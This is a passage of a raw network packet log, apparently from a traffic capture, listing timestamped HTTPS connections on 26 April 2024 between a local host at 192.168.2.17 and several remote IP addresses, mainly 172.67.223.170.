Apr 26, 2024 22:18:25.398302078 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.398382902 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.398502111 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.398511887 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.398674011 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.398684025 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.398829937 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.398849964 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.444190025 CEST	49733	443	192.168.2.17	20.114.59.183
Apr 26, 2024 22:18:25.444225073 CEST	443	49733	20.114.59.183	192.168.2.17
Apr 26, 2024 22:18:25.444338083 CEST	49733	443	192.168.2.17	20.114.59.183
Apr 26, 2024 22:18:25.444737911 CEST	49733	443	192.168.2.17	20.114.59.183
Apr 26, 2024 22:18:25.444751024 CEST	443	49733	20.114.59.183	192.168.2.17
Apr 26, 2024 22:18:25.501091957 CEST	49734	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.501138926 CEST	443	49734	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.501403093 CEST	49734	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.501468897 CEST	49734	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.501481056 CEST	443	49734	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.649780035 CEST	443	49729	152.199.4.44	192.168.2.17
Apr 26, 2024 22:18:25.650105953 CEST	49729	443	192.168.2.17	152.199.4.44
Apr 26, 2024 22:18:25.650125027 CEST	443	49729	152.199.4.44	192.168.2.17
Apr 26, 2024 22:18:25.651118994 CEST	443	49729	152.199.4.44	192.168.2.17
Apr 26, 2024 22:18:25.651196003 CEST	49729	443	192.168.2.17	152.199.4.44
Apr 26, 2024 22:18:25.652146101 CEST	49729	443	192.168.2.17	152.199.4.44
Apr 26, 2024 22:18:25.652210951 CEST	443	49729	152.199.4.44	192.168.2.17
Apr 26, 2024 22:18:25.657516003 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.658468962 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.658534050 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.658549070 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.658977985 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.658996105 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.659861088 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.659984112 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.660028934 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.660038948 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.660044909 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.660056114 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.660108089 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.661012888 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.661072016 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.661098003 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.661154032 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.661271095 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.661281109 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.661493063 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.661499023 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.662645102 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.662729025 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.663034916 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.663130045 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.663212061 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.663218021 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.692320108 CEST	49729	443	192.168.2.17	152.199.4.44
Apr 26, 2024 22:18:25.692379951 CEST	443	49729	152.199.4.44	192.168.2.17
Apr 26, 2024 22:18:25.708295107 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.708375931 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.710712910 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.739367962 CEST	49729	443	192.168.2.17	152.199.4.44
Apr 26, 2024 22:18:25.760437965 CEST	443	49734	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.760690928 CEST	49734	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.760701895 CEST	443	49734	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.761584997 CEST	443	49734	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.761665106 CEST	49734	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.762675047 CEST	49734	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.762753963 CEST	443	49734	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.762787104 CEST	49734	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.804158926 CEST	443	49734	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.817291021 CEST	49734	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.817301035 CEST	443	49734	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.864306927 CEST	49734	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.961447001 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.961519957 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.961559057 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.961586952 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.961594105 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.961623907 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.961638927 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.961659908 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.961695910 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.961699009 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.961707115 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.961743116 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.962140083 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.962263107 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.962291956 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.962304115 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.962311983 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.962349892 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.963011980 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.963094950 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.963128090 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.963134050 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.963140011 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.963182926 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.963188887 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.963857889 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.963922977 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.963974953 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.963979006 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.963989019 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.964020014 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.964029074 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.964035034 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.964044094 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.964071035 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.964071989 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.964080095 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.964109898 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.964315891 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.964358091 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.964361906 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.964370012 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.964407921 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.964412928 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.964732885 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.964790106 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.964793921 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.964824915 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.964864969 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.964871883 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965066910 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965116024 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965156078 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965158939 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.965177059 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965203047 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965209961 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965229034 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965239048 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.965248108 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965290070 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.965320110 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965348005 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.965353012 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965387106 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965392113 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.965399027 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965451002 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.965455055 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965626001 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965652943 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965670109 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.965676069 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965715885 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.965719938 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965797901 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965831041 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965847015 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.965856075 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965890884 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965897083 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.965903997 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.965977907 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.965985060 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966010094 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966049910 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966054916 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.966061115 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966101885 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.966105938 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966543913 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966574907 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966583967 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.966593027 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966636896 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.966644049 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966645002 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966675043 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966697931 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.966701984 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966733932 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966758966 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966761112 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.966767073 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966804981 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.966882944 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966924906 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.966928959 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.966975927 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.967015028 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.967016935 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.967026949 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.967068911 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.967075109 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.967536926 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.967560053 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.967617035 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.967629910 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.967638016 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.967658043 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.967667103 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.967709064 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.967714071 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.967822075 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.967842102 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.967861891 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.967868090 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.967906952 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.967910051 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.967957973 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.967962980 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.967968941 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.968015909 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.968019962 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.968276024 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.968297958 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.968337059 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.968347073 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.968354940 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.968383074 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.968485117 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.968534946 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.968575001 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.968580961 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.968714952 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.968769073 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.968772888 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.968820095 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.968856096 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.968885899 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.968890905 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.968929052 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.969118118 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.969141006 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.969170094 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.969182968 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.969248056 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.969269991 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.969279051 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.969321966 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.969330072 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.969350100 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.969408989 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.969415903 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.969455004 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.969541073 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.969654083 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.969691038 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.969696999 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.969702005 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.969748020 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.969753027 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.970081091 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.970110893 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.970160961 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.970170975 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.970220089 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.970268965 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.970680952 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.970716953 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.970724106 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.970730066 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.970769882 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.970773935 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.970849991 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.970881939 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.970899105 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.970906973 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.970926046 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.970937967 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.970972061 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.970993996 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.971726894 CEST	49730	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.971738100 CEST	443	49730	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.971745968 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.971766949 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.971812963 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.971832037 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.971843958 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.971878052 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:25.971885920 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:25.971932888 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.011478901 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.063178062 CEST	443	49733	20.114.59.183	192.168.2.17
Apr 26, 2024 22:18:26.063293934 CEST	49733	443	192.168.2.17	20.114.59.183
Apr 26, 2024 22:18:26.065107107 CEST	49733	443	192.168.2.17	20.114.59.183
Apr 26, 2024 22:18:26.065115929 CEST	443	49733	20.114.59.183	192.168.2.17
Apr 26, 2024 22:18:26.065469980 CEST	443	49733	20.114.59.183	192.168.2.17
Apr 26, 2024 22:18:26.072489023 CEST	49733	443	192.168.2.17	20.114.59.183
Apr 26, 2024 22:18:26.086529970 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.086627007 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.089350939 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.089454889 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.090269089 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.090342045 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.090449095 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.090517998 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.091962099 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.092051029 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.092259884 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.092294931 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.092315912 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.092323065 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.092341900 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.092458963 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.092525005 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.092881918 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.092948914 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.093079090 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.093132019 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.093138933 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.093180895 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.093442917 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.093502998 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.093704939 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.093770981 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.093833923 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.093898058 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.095515966 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.095571995 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.095678091 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.095730066 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.095738888 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.095777035 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.095779896 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.095833063 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.096149921 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.096188068 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.096203089 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.096210003 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.096246958 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.096296072 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.096354961 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.096355915 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.096364021 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.096400976 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.096554995 CEST	443	49732	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.096611977 CEST	49732	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.096626043 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.096685886 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.096796036 CEST	443	49731	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:26.096853018 CEST	49731	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:26.096915960 CEST	443	49732	172.67.223.170	192.168.2.17
